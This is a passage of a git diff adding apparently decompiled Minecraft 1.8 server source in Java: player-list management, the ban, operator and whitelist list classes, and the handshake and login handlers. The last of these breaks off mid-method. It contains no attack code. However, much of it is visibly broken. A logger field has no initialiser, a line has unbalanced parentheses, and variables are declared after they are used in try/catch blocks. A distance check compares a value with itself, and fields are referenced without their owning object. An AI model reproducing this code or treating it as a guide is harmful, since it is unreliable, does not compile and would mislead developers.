+    for (int var2 = 0; var2 < playerEntityList.size(); var2++)
+    {
+      var1[var2] = ((EntityPlayerMP)playerEntityList.get(var2)).getName();
+    }
+    
+    return var1;
+  }
+  
+  public GameProfile[] getAllProfiles()
+  {
+    GameProfile[] var1 = new GameProfile[playerEntityList.size()];
+    
+    for (int var2 = 0; var2 < playerEntityList.size(); var2++)
+    {
+      var1[var2] = ((EntityPlayerMP)playerEntityList.get(var2)).getGameProfile();
+    }
+    
+    return var1;
+  }
+  
+  public UserListBans getBannedPlayers()
+  {
+    return bannedPlayers;
+  }
+  
+  public BanList getBannedIPs()
+  {
+    return bannedIPs;
+  }
+  
+  public void addOp(GameProfile profile)
+  {
+    ops.addEntry(new UserListOpsEntry(profile, mcServer.getOpPermissionLevel()));
+  }
+  
+  public void removeOp(GameProfile profile)
+  {
+    ops.removeEntry(profile);
+  }
+  
+  public boolean canJoin(GameProfile profile)
+  {
+    return (!whiteListEnforced) || (ops.hasEntry(profile)) || (whiteListedPlayers.hasEntry(profile));
+  }
+  
+  public boolean canSendCommands(GameProfile profile)
+  {
+    return (ops.hasEntry(profile)) || ((mcServer.isSinglePlayer()) && (mcServer.worldServers[0].getWorldInfo().areCommandsAllowed()) && (mcServer.getServerOwner().equalsIgnoreCase(profile.getName()))) || (commandsAllowedForAll);
+  }
+  
+  public EntityPlayerMP getPlayerByUsername(String username)
+  {
+    Iterator var2 = playerEntityList.iterator();
+    
+    EntityPlayerMP var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (EntityPlayerMP)var2.next();
+    }
+    while (!var3.getName().equalsIgnoreCase(username));
+    
+    return var3;
+  }
+  
+
+
+
+  public void sendToAllNear(double x, double y, double z, double radius, int dimension, Packet packetIn)
+  {
+    sendToAllNearExcept(null, x, y, z, radius, dimension, packetIn);
+  }
+  
+
+
+
+
+  public void sendToAllNearExcept(EntityPlayer p_148543_1_, double x, double y, double z, double radius, int dimension, Packet p_148543_11_)
+  {
+    for (int var12 = 0; var12 < playerEntityList.size(); var12++)
+    {
+      EntityPlayerMP var13 = (EntityPlayerMP)playerEntityList.get(var12);
+      
+      if ((var13 != p_148543_1_) && (dimension == dimension))
+      {
+        double var14 = x - posX;
+        double var16 = y - posY;
+        double var18 = z - posZ;
+        
+        if (var14 * var14 + var16 * var16 + var18 * var18 < radius * radius)
+        {
+          playerNetServerHandler.sendPacket(p_148543_11_);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void saveAllPlayerData()
+  {
+    for (int var1 = 0; var1 < playerEntityList.size(); var1++)
+    {
+      writePlayerData((EntityPlayerMP)playerEntityList.get(var1));
+    }
+  }
+  
+  public void addWhitelistedPlayer(GameProfile profile)
+  {
+    whiteListedPlayers.addEntry(new UserListWhitelistEntry(profile));
+  }
+  
+  public void removePlayerFromWhitelist(GameProfile profile)
+  {
+    whiteListedPlayers.removeEntry(profile);
+  }
+  
+  public UserListWhitelist getWhitelistedPlayers()
+  {
+    return whiteListedPlayers;
+  }
+  
+  public String[] getWhitelistedPlayerNames()
+  {
+    return whiteListedPlayers.getKeys();
+  }
+  
+  public UserListOps getOppedPlayers()
+  {
+    return ops;
+  }
+  
+  public String[] getOppedPlayerNames()
+  {
+    return ops.getKeys();
+  }
+  
+
+
+
+  public void loadWhiteList() {}
+  
+
+
+
+  public void updateTimeAndWeatherForPlayer(EntityPlayerMP playerIn, WorldServer worldIn)
+  {
+    WorldBorder var3 = mcServer.worldServers[0].getWorldBorder();
+    playerNetServerHandler.sendPacket(new S44PacketWorldBorder(var3, S44PacketWorldBorder.Action.INITIALIZE));
+    playerNetServerHandler.sendPacket(new S03PacketTimeUpdate(worldIn.getTotalWorldTime(), worldIn.getWorldTime(), worldIn.getGameRules().getGameRuleBooleanValue("doDaylightCycle")));
+    
+    if (worldIn.isRaining())
+    {
+      playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(1, 0.0F));
+      playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(7, worldIn.getRainStrength(1.0F)));
+      playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(8, worldIn.getWeightedThunderStrength(1.0F)));
+    }
+  }
+  
+
+
+
+  public void syncPlayerInventory(EntityPlayerMP playerIn)
+  {
+    playerIn.sendContainerToPlayer(inventoryContainer);
+    playerIn.setPlayerHealthUpdated();
+    playerNetServerHandler.sendPacket(new S09PacketHeldItemChange(inventory.currentItem));
+  }
+  
+
+
+
+  public int getCurrentPlayerCount()
+  {
+    return playerEntityList.size();
+  }
+  
+
+
+
+  public int getMaxPlayers()
+  {
+    return maxPlayers;
+  }
+  
+
+
+
+  public String[] getAvailablePlayerDat()
+  {
+    return mcServer.worldServers[0].getSaveHandler().getPlayerNBTManager().getAvailablePlayerDat();
+  }
+  
+  public void setWhiteListEnabled(boolean whitelistEnabled)
+  {
+    whiteListEnforced = whitelistEnabled;
+  }
+  
+  public List getPlayersMatchingAddress(String address)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = playerEntityList.iterator();
+    
+    while (var3.hasNext())
+    {
+      EntityPlayerMP var4 = (EntityPlayerMP)var3.next();
+      
+      if (var4.getPlayerIP().equals(address))
+      {
+        var2.add(var4);
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getViewDistance()
+  {
+    return viewDistance;
+  }
+  
+  public MinecraftServer getServerInstance()
+  {
+    return mcServer;
+  }
+  
+
+
+
+  public NBTTagCompound getHostPlayerData()
+  {
+    return null;
+  }
+  
+  public void func_152604_a(WorldSettings.GameType p_152604_1_)
+  {
+    gameType = p_152604_1_;
+  }
+  
+  private void func_72381_a(EntityPlayerMP p_72381_1_, EntityPlayerMP p_72381_2_, World worldIn)
+  {
+    if (p_72381_2_ != null)
+    {
+      theItemInWorldManager.setGameType(theItemInWorldManager.getGameType());
+    }
+    else if (gameType != null)
+    {
+      theItemInWorldManager.setGameType(gameType);
+    }
+    
+    theItemInWorldManager.initializeGameType(worldIn.getWorldInfo().getGameType());
+  }
+  
+
+
+
+  public void setCommandsAllowedForAll(boolean p_72387_1_)
+  {
+    commandsAllowedForAll = p_72387_1_;
+  }
+  
+
+
+
+  public void removeAllPlayers()
+  {
+    for (int var1 = 0; var1 < playerEntityList.size(); var1++)
+    {
+      playerEntityList.get(var1)).playerNetServerHandler.kickPlayerFromServer("Server closed");
+    }
+  }
+  
+  public void sendChatMsgImpl(IChatComponent component, boolean isChat)
+  {
+    mcServer.addChatMessage(component);
+    int var3 = isChat ? 1 : 0;
+    sendPacketToAllPlayers(new net.minecraft.network.play.server.S02PacketChat(component, (byte)var3));
+  }
+  
+
+
+
+  public void sendChatMsg(IChatComponent component)
+  {
+    sendChatMsgImpl(component, true);
+  }
+  
+  public StatisticsFile getPlayerStatsFile(EntityPlayer playerIn)
+  {
+    UUID var2 = playerIn.getUniqueID();
+    StatisticsFile var3 = var2 == null ? null : (StatisticsFile)playerStatFiles.get(var2);
+    
+    if (var3 == null)
+    {
+      File var4 = new File(mcServer.worldServerForDimension(0).getSaveHandler().getWorldDirectory(), "stats");
+      File var5 = new File(var4, var2.toString() + ".json");
+      
+      if (!var5.exists())
+      {
+        File var6 = new File(var4, playerIn.getName() + ".json");
+        
+        if ((var6.exists()) && (var6.isFile()))
+        {
+          var6.renameTo(var5);
+        }
+      }
+      
+      var3 = new StatisticsFile(mcServer, var5);
+      var3.func_150882_a();
+      playerStatFiles.put(var2, var3);
+    }
+    
+    return var3;
+  }
+  
+  public void setViewDistance(int distance)
+  {
+    viewDistance = distance;
+    
+    if (mcServer.worldServers != null)
+    {
+      WorldServer[] var2 = mcServer.worldServers;
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        WorldServer var5 = var2[var4];
+        
+        if (var5 != null)
+        {
+          var5.getPlayerManager().func_152622_a(distance);
+        }
+      }
+    }
+  }
+  
+  public EntityPlayerMP func_177451_a(UUID p_177451_1_)
+  {
+    return (EntityPlayerMP)field_177454_f.get(p_177451_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserList.java b/src/minecraft/net/minecraft/server/management/UserList.java
new file mode 100644
index 0000000..6c9bbf6
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserList.java
@@ -0,0 +1,224 @@
+package net.minecraft.server.management;
+
+import com.google.common.base.Charsets;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonSerializationContext;
+import com.google.gson.JsonSerializer;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.IOException;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class UserList
+{
+  protected static final Logger logger = ;
+  protected final Gson gson;
+  private final File saveFile;
+  private final Map values = Maps.newHashMap();
+  private boolean lanServer = true;
+  private static final ParameterizedType saveFileFormat = new ParameterizedType()
+  {
+    private static final String __OBFID = "CL_00001875";
+    
+    public Type[] getActualTypeArguments() {
+      return new Type[] { UserListEntry.class };
+    }
+    
+    public Type getRawType() {
+      return java.util.List.class;
+    }
+    
+    public Type getOwnerType() {
+      return null;
+    }
+  };
+  private static final String __OBFID = "CL_00001876";
+  
+  public UserList(File saveFile)
+  {
+    this.saveFile = saveFile;
+    GsonBuilder var2 = new GsonBuilder().setPrettyPrinting();
+    var2.registerTypeHierarchyAdapter(UserListEntry.class, new Serializer(null));
+    gson = var2.create();
+  }
+  
+  public boolean isLanServer()
+  {
+    return lanServer;
+  }
+  
+  public void setLanServer(boolean state)
+  {
+    lanServer = state;
+  }
+  
+
+
+
+  public void addEntry(UserListEntry entry)
+  {
+    values.put(getObjectKey(entry.getValue()), entry);
+    
+    try
+    {
+      writeChanges();
+    }
+    catch (IOException var3)
+    {
+      logger.warn("Could not save the list after adding a user.", var3);
+    }
+  }
+  
+  public UserListEntry getEntry(Object obj)
+  {
+    removeExpired();
+    return (UserListEntry)values.get(getObjectKey(obj));
+  }
+  
+  public void removeEntry(Object p_152684_1_)
+  {
+    values.remove(getObjectKey(p_152684_1_));
+    
+    try
+    {
+      writeChanges();
+    }
+    catch (IOException var3)
+    {
+      logger.warn("Could not save the list after removing a user.", var3);
+    }
+  }
+  
+  public String[] getKeys()
+  {
+    return (String[])values.keySet().toArray(new String[values.size()]);
+  }
+  
+
+
+
+  protected String getObjectKey(Object obj)
+  {
+    return obj.toString();
+  }
+  
+  protected boolean hasEntry(Object entry)
+  {
+    return values.containsKey(getObjectKey(entry));
+  }
+  
+
+
+
+
+  private void removeExpired()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    Iterator var2 = values.values().iterator();
+    
+    while (var2.hasNext())
+    {
+      UserListEntry var3 = (UserListEntry)var2.next();
+      
+      if (var3.hasBanExpired())
+      {
+        var1.add(var3.getValue());
+      }
+    }
+    
+    var2 = var1.iterator();
+    
+    while (var2.hasNext())
+    {
+      Object var4 = var2.next();
+      values.remove(var4);
+    }
+  }
+  
+  protected UserListEntry createEntry(JsonObject entryData)
+  {
+    return new UserListEntry(null, entryData);
+  }
+  
+  protected Map getValues()
+  {
+    return values;
+  }
+  
+  public void writeChanges() throws IOException
+  {
+    Collection var1 = values.values();
+    String var2 = gson.toJson(var1);
+    BufferedWriter var3 = null;
+    
+    try
+    {
+      var3 = Files.newWriter(saveFile, Charsets.UTF_8);
+      var3.write(var2);
+    }
+    finally
+    {
+      IOUtils.closeQuietly(var3);
+    }
+  }
+  
+  class Serializer implements JsonDeserializer, JsonSerializer
+  {
+    private static final String __OBFID = "CL_00001874";
+    
+    private Serializer() {}
+    
+    public JsonElement serializeEntry(UserListEntry p_152751_1_, Type p_152751_2_, JsonSerializationContext p_152751_3_)
+    {
+      JsonObject var4 = new JsonObject();
+      p_152751_1_.onSerialization(var4);
+      return var4;
+    }
+    
+    public UserListEntry deserializeEntry(JsonElement p_152750_1_, Type p_152750_2_, JsonDeserializationContext p_152750_3_)
+    {
+      if (p_152750_1_.isJsonObject())
+      {
+        JsonObject var4 = p_152750_1_.getAsJsonObject();
+        UserListEntry var5 = createEntry(var4);
+        return var5;
+      }
+      
+
+      return null;
+    }
+    
+
+    public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      return serializeEntry((UserListEntry)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return deserializeEntry(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+    
+    Serializer(Object p_i1141_2_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserListBans.java b/src/minecraft/net/minecraft/server/management/UserListBans.java
new file mode 100644
index 0000000..7e2d783
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserListBans.java
@@ -0,0 +1,72 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import com.mojang.authlib.GameProfile;
+import java.util.Iterator;
+import java.util.Map;
+
+public class UserListBans extends UserList
+{
+  private static final String __OBFID = "CL_00001873";
+  
+  public UserListBans(java.io.File bansFile)
+  {
+    super(bansFile);
+  }
+  
+  protected UserListEntry createEntry(JsonObject entryData)
+  {
+    return new UserListBansEntry(entryData);
+  }
+  
+  public boolean isBanned(GameProfile profile)
+  {
+    return hasEntry(profile);
+  }
+  
+  public String[] getKeys()
+  {
+    String[] var1 = new String[getValues().size()];
+    int var2 = 0;
+    
+    UserListBansEntry var4;
+    for (Iterator var3 = getValues().values().iterator(); var3.hasNext(); var1[(var2++)] = ((GameProfile)var4.getValue()).getName())
+    {
+      var4 = (UserListBansEntry)var3.next();
+    }
+    
+    return var1;
+  }
+  
+  protected String getProfileId(GameProfile profile)
+  {
+    return profile.getId().toString();
+  }
+  
+  public GameProfile isUsernameBanned(String username)
+  {
+    Iterator var2 = getValues().values().iterator();
+    
+    UserListBansEntry var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (UserListBansEntry)var2.next();
+    }
+    while (!username.equalsIgnoreCase(((GameProfile)var3.getValue()).getName()));
+    
+    return (GameProfile)var3.getValue();
+  }
+  
+
+
+
+  protected String getObjectKey(Object obj)
+  {
+    return getProfileId((GameProfile)obj);
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserListBansEntry.java b/src/minecraft/net/minecraft/server/management/UserListBansEntry.java
new file mode 100644
index 0000000..850ce49
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserListBansEntry.java
@@ -0,0 +1,59 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import com.mojang.authlib.GameProfile;
+import java.util.Date;
+import java.util.UUID;
+
+public class UserListBansEntry extends BanEntry
+{
+  private static final String __OBFID = "CL_00001872";
+  
+  public UserListBansEntry(GameProfile p_i1134_1_)
+  {
+    this(p_i1134_1_, null, null, null, null);
+  }
+  
+  public UserListBansEntry(GameProfile p_i1135_1_, Date p_i1135_2_, String p_i1135_3_, Date p_i1135_4_, String p_i1135_5_)
+  {
+    super(p_i1135_1_, p_i1135_4_, p_i1135_3_, p_i1135_4_, p_i1135_5_);
+  }
+  
+  public UserListBansEntry(JsonObject p_i1136_1_)
+  {
+    super(func_152648_b(p_i1136_1_), p_i1136_1_);
+  }
+  
+  protected void onSerialization(JsonObject data)
+  {
+    if (getValue() != null)
+    {
+      data.addProperty("uuid", ((GameProfile)getValue()).getId() == null ? "" : ((GameProfile)getValue()).getId().toString());
+      data.addProperty("name", ((GameProfile)getValue()).getName());
+      super.onSerialization(data);
+    }
+  }
+  
+  private static GameProfile func_152648_b(JsonObject p_152648_0_)
+  {
+    if ((p_152648_0_.has("uuid")) && (p_152648_0_.has("name")))
+    {
+      String var1 = p_152648_0_.get("uuid").getAsString();
+      
+
+      try
+      {
+        var2 = UUID.fromString(var1);
+      }
+      catch (Throwable var4) {
+        UUID var2;
+        return null;
+      }
+      UUID var2;
+      return new GameProfile(var2, p_152648_0_.get("name").getAsString());
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserListEntry.java b/src/minecraft/net/minecraft/server/management/UserListEntry.java
new file mode 100644
index 0000000..7a49a91
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserListEntry.java
@@ -0,0 +1,31 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+
+public class UserListEntry
+{
+  private final Object value;
+  private static final String __OBFID = "CL_00001877";
+  
+  public UserListEntry(Object p_i1146_1_)
+  {
+    value = p_i1146_1_;
+  }
+  
+  protected UserListEntry(Object p_i1147_1_, JsonObject p_i1147_2_)
+  {
+    value = p_i1147_1_;
+  }
+  
+  Object getValue()
+  {
+    return value;
+  }
+  
+  boolean hasBanExpired()
+  {
+    return false;
+  }
+  
+  protected void onSerialization(JsonObject data) {}
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserListOps.java b/src/minecraft/net/minecraft/server/management/UserListOps.java
new file mode 100644
index 0000000..1aecc22
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserListOps.java
@@ -0,0 +1,70 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import com.mojang.authlib.GameProfile;
+import java.util.Iterator;
+import java.util.Map;
+
+public class UserListOps extends UserList
+{
+  private static final String __OBFID = "CL_00001879";
+  
+  public UserListOps(java.io.File p_i1152_1_)
+  {
+    super(p_i1152_1_);
+  }
+  
+  protected UserListEntry createEntry(JsonObject entryData)
+  {
+    return new UserListOpsEntry(entryData);
+  }
+  
+  public String[] getKeys()
+  {
+    String[] var1 = new String[getValues().size()];
+    int var2 = 0;
+    
+    UserListOpsEntry var4;
+    for (Iterator var3 = getValues().values().iterator(); var3.hasNext(); var1[(var2++)] = ((GameProfile)var4.getValue()).getName())
+    {
+      var4 = (UserListOpsEntry)var3.next();
+    }
+    
+    return var1;
+  }
+  
+  protected String func_152699_b(GameProfile p_152699_1_)
+  {
+    return p_152699_1_.getId().toString();
+  }
+  
+
+
+
+  public GameProfile getGameProfileFromName(String p_152700_1_)
+  {
+    Iterator var2 = getValues().values().iterator();
+    
+    UserListOpsEntry var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (UserListOpsEntry)var2.next();
+    }
+    while (!p_152700_1_.equalsIgnoreCase(((GameProfile)var3.getValue()).getName()));
+    
+    return (GameProfile)var3.getValue();
+  }
+  
+
+
+
+  protected String getObjectKey(Object obj)
+  {
+    return func_152699_b((GameProfile)obj);
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserListOpsEntry.java b/src/minecraft/net/minecraft/server/management/UserListOpsEntry.java
new file mode 100644
index 0000000..b68a335
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserListOpsEntry.java
@@ -0,0 +1,62 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import com.mojang.authlib.GameProfile;
+import java.util.UUID;
+
+public class UserListOpsEntry extends UserListEntry
+{
+  private final int field_152645_a;
+  private static final String __OBFID = "CL_00001878";
+  
+  public UserListOpsEntry(GameProfile p_i46328_1_, int p_i46328_2_)
+  {
+    super(p_i46328_1_);
+    field_152645_a = p_i46328_2_;
+  }
+  
+  public UserListOpsEntry(JsonObject p_i1150_1_)
+  {
+    super(func_152643_b(p_i1150_1_), p_i1150_1_);
+    field_152645_a = (p_i1150_1_.has("level") ? p_i1150_1_.get("level").getAsInt() : 0);
+  }
+  
+  public int func_152644_a()
+  {
+    return field_152645_a;
+  }
+  
+  protected void onSerialization(JsonObject data)
+  {
+    if (getValue() != null)
+    {
+      data.addProperty("uuid", ((GameProfile)getValue()).getId() == null ? "" : ((GameProfile)getValue()).getId().toString());
+      data.addProperty("name", ((GameProfile)getValue()).getName());
+      super.onSerialization(data);
+      data.addProperty("level", Integer.valueOf(field_152645_a));
+    }
+  }
+  
+  private static GameProfile func_152643_b(JsonObject p_152643_0_)
+  {
+    if ((p_152643_0_.has("uuid")) && (p_152643_0_.has("name")))
+    {
+      String var1 = p_152643_0_.get("uuid").getAsString();
+      
+
+      try
+      {
+        var2 = UUID.fromString(var1);
+      }
+      catch (Throwable var4) {
+        UUID var2;
+        return null;
+      }
+      UUID var2;
+      return new GameProfile(var2, p_152643_0_.get("name").getAsString());
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserListWhitelist.java b/src/minecraft/net/minecraft/server/management/UserListWhitelist.java
new file mode 100644
index 0000000..035d507
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserListWhitelist.java
@@ -0,0 +1,67 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import com.mojang.authlib.GameProfile;
+import java.util.Iterator;
+import java.util.Map;
+
+public class UserListWhitelist extends UserList
+{
+  private static final String __OBFID = "CL_00001871";
+  
+  public UserListWhitelist(java.io.File p_i1132_1_)
+  {
+    super(p_i1132_1_);
+  }
+  
+  protected UserListEntry createEntry(JsonObject entryData)
+  {
+    return new UserListWhitelistEntry(entryData);
+  }
+  
+  public String[] getKeys()
+  {
+    String[] var1 = new String[getValues().size()];
+    int var2 = 0;
+    
+    UserListWhitelistEntry var4;
+    for (Iterator var3 = getValues().values().iterator(); var3.hasNext(); var1[(var2++)] = ((GameProfile)var4.getValue()).getName())
+    {
+      var4 = (UserListWhitelistEntry)var3.next();
+    }
+    
+    return var1;
+  }
+  
+  protected String func_152704_b(GameProfile p_152704_1_)
+  {
+    return p_152704_1_.getId().toString();
+  }
+  
+  public GameProfile func_152706_a(String p_152706_1_)
+  {
+    Iterator var2 = getValues().values().iterator();
+    
+    UserListWhitelistEntry var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (UserListWhitelistEntry)var2.next();
+    }
+    while (!p_152706_1_.equalsIgnoreCase(((GameProfile)var3.getValue()).getName()));
+    
+    return (GameProfile)var3.getValue();
+  }
+  
+
+
+
+  protected String getObjectKey(Object obj)
+  {
+    return func_152704_b((GameProfile)obj);
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/UserListWhitelistEntry.java b/src/minecraft/net/minecraft/server/management/UserListWhitelistEntry.java
new file mode 100644
index 0000000..ee7ea70
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/UserListWhitelistEntry.java
@@ -0,0 +1,53 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import com.mojang.authlib.GameProfile;
+import java.util.UUID;
+
+public class UserListWhitelistEntry extends UserListEntry
+{
+  private static final String __OBFID = "CL_00001870";
+  
+  public UserListWhitelistEntry(GameProfile p_i1129_1_)
+  {
+    super(p_i1129_1_);
+  }
+  
+  public UserListWhitelistEntry(JsonObject p_i1130_1_)
+  {
+    super(func_152646_b(p_i1130_1_), p_i1130_1_);
+  }
+  
+  protected void onSerialization(JsonObject data)
+  {
+    if (getValue() != null)
+    {
+      data.addProperty("uuid", ((GameProfile)getValue()).getId() == null ? "" : ((GameProfile)getValue()).getId().toString());
+      data.addProperty("name", ((GameProfile)getValue()).getName());
+      super.onSerialization(data);
+    }
+  }
+  
+  private static GameProfile func_152646_b(JsonObject p_152646_0_)
+  {
+    if ((p_152646_0_.has("uuid")) && (p_152646_0_.has("name")))
+    {
+      String var1 = p_152646_0_.get("uuid").getAsString();
+      
+
+      try
+      {
+        var2 = UUID.fromString(var1);
+      }
+      catch (Throwable var4) {
+        UUID var2;
+        return null;
+      }
+      UUID var2;
+      return new GameProfile(var2, p_152646_0_.get("name").getAsString());
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/network/NetHandlerHandshakeTCP.java b/src/minecraft/net/minecraft/server/network/NetHandlerHandshakeTCP.java
new file mode 100644
index 0000000..2d870a9
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/network/NetHandlerHandshakeTCP.java
@@ -0,0 +1,96 @@
+package net.minecraft.server.network;
+
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.handshake.INetHandlerHandshakeServer;
+import net.minecraft.network.handshake.client.C00Handshake;
+import net.minecraft.network.login.server.S00PacketDisconnect;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+
+public class NetHandlerHandshakeTCP implements INetHandlerHandshakeServer
+{
+  private final MinecraftServer server;
+  private final NetworkManager networkManager;
+  private static final String __OBFID = "CL_00001456";
+  
+  public NetHandlerHandshakeTCP(MinecraftServer serverIn, NetworkManager netManager)
+  {
+    server = serverIn;
+    networkManager = netManager;
+  }
+  
+
+
+
+
+
+  public void processHandshake(C00Handshake packetIn)
+  {
+    switch (SwitchEnumConnectionState.VALUES[packetIn.getRequestedState().ordinal()])
+    {
+    case 1: 
+      networkManager.setConnectionState(EnumConnectionState.LOGIN);
+      
+
+      if (packetIn.getProtocolVersion() > 47)
+      {
+        ChatComponentText var2 = new ChatComponentText("Outdated server! I'm still on 1.8");
+        networkManager.sendPacket(new S00PacketDisconnect(var2));
+        networkManager.closeChannel(var2);
+      }
+      else if (packetIn.getProtocolVersion() < 47)
+      {
+        ChatComponentText var2 = new ChatComponentText("Outdated client! Please use 1.8");
+        networkManager.sendPacket(new S00PacketDisconnect(var2));
+        networkManager.closeChannel(var2);
+      }
+      else
+      {
+        networkManager.setNetHandler(new NetHandlerLoginServer(server, networkManager));
+      }
+      
+      break;
+    
+    case 2: 
+      networkManager.setConnectionState(EnumConnectionState.STATUS);
+      networkManager.setNetHandler(new NetHandlerStatusServer(server, networkManager));
+      break;
+    
+    default: 
+      throw new UnsupportedOperationException("Invalid intention " + packetIn.getRequestedState());
+    }
+    
+  }
+  
+
+  public void onDisconnect(IChatComponent reason) {}
+  
+
+  static final class SwitchEnumConnectionState
+  {
+    static final int[] VALUES = new int[EnumConnectionState.values().length];
+    private static final String __OBFID = "CL_00001457";
+    
+    static
+    {
+      try
+      {
+        VALUES[EnumConnectionState.LOGIN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        VALUES[EnumConnectionState.STATUS.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+    }
+    
+    SwitchEnumConnectionState() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/network/NetHandlerLoginServer.java b/src/minecraft/net/minecraft/server/network/NetHandlerLoginServer.java
new file mode 100644
index 0000000..782d82b
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/network/NetHandlerLoginServer.java
@@ -0,0 +1,235 @@
+package net.minecraft.server.network;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.exceptions.AuthenticationUnavailableException;
+import com.mojang.authlib.minecraft.MinecraftSessionService;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.math.BigInteger;
+import java.security.KeyPair;
+import java.security.PrivateKey;
+import java.util.Arrays;
+import java.util.Random;
+import java.util.UUID;
+import java.util.concurrent.atomic.AtomicInteger;
+import javax.crypto.SecretKey;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.login.client.C00PacketLoginStart;
+import net.minecraft.network.login.client.C01PacketEncryptionResponse;
+import net.minecraft.network.login.server.S00PacketDisconnect;
+import net.minecraft.network.login.server.S01PacketEncryptionRequest;
+import net.minecraft.network.login.server.S02PacketLoginSuccess;
+import net.minecraft.network.login.server.S03PacketEnableCompression;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.CryptManager;
+import net.minecraft.util.IChatComponent;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class NetHandlerLoginServer implements net.minecraft.network.login.INetHandlerLoginServer, IUpdatePlayerListBox
+{
+  private static final AtomicInteger AUTHENTICATOR_THREAD_ID = new AtomicInteger(0);
+  private static final Logger logger = LogManager.getLogger();
+  private static final Random RANDOM = new Random();
+  private final byte[] field_147330_e = new byte[4];
+  
+  private final MinecraftServer server;
+  
+  public final NetworkManager networkManager;
+  private LoginState currentLoginState;
+  private int connectionTimer;
+  private GameProfile loginGameProfile;
+  private String serverId;
+  private SecretKey secretKey;
+  private static final String __OBFID = "CL_00001458";
+  
+  public NetHandlerLoginServer(MinecraftServer p_i45298_1_, NetworkManager p_i45298_2_)
+  {
+    currentLoginState = LoginState.HELLO;
+    serverId = "";
+    server = p_i45298_1_;
+    networkManager = p_i45298_2_;
+    RANDOM.nextBytes(field_147330_e);
+  }
+  
+
+
+
+  public void update()
+  {
+    if (currentLoginState == LoginState.READY_TO_ACCEPT)
+    {
+      func_147326_c();
+    }
+    
+    if (connectionTimer++ == 600)
+    {
+      closeConnection("Took too long to log in");
+    }
+  }
+  
+  public void closeConnection(String reason)
+  {
+    try
+    {
+      logger.info("Disconnecting " + func_147317_d() + ": " + reason);
+      ChatComponentText var2 = new ChatComponentText(reason);
+      networkManager.sendPacket(new S00PacketDisconnect(var2));
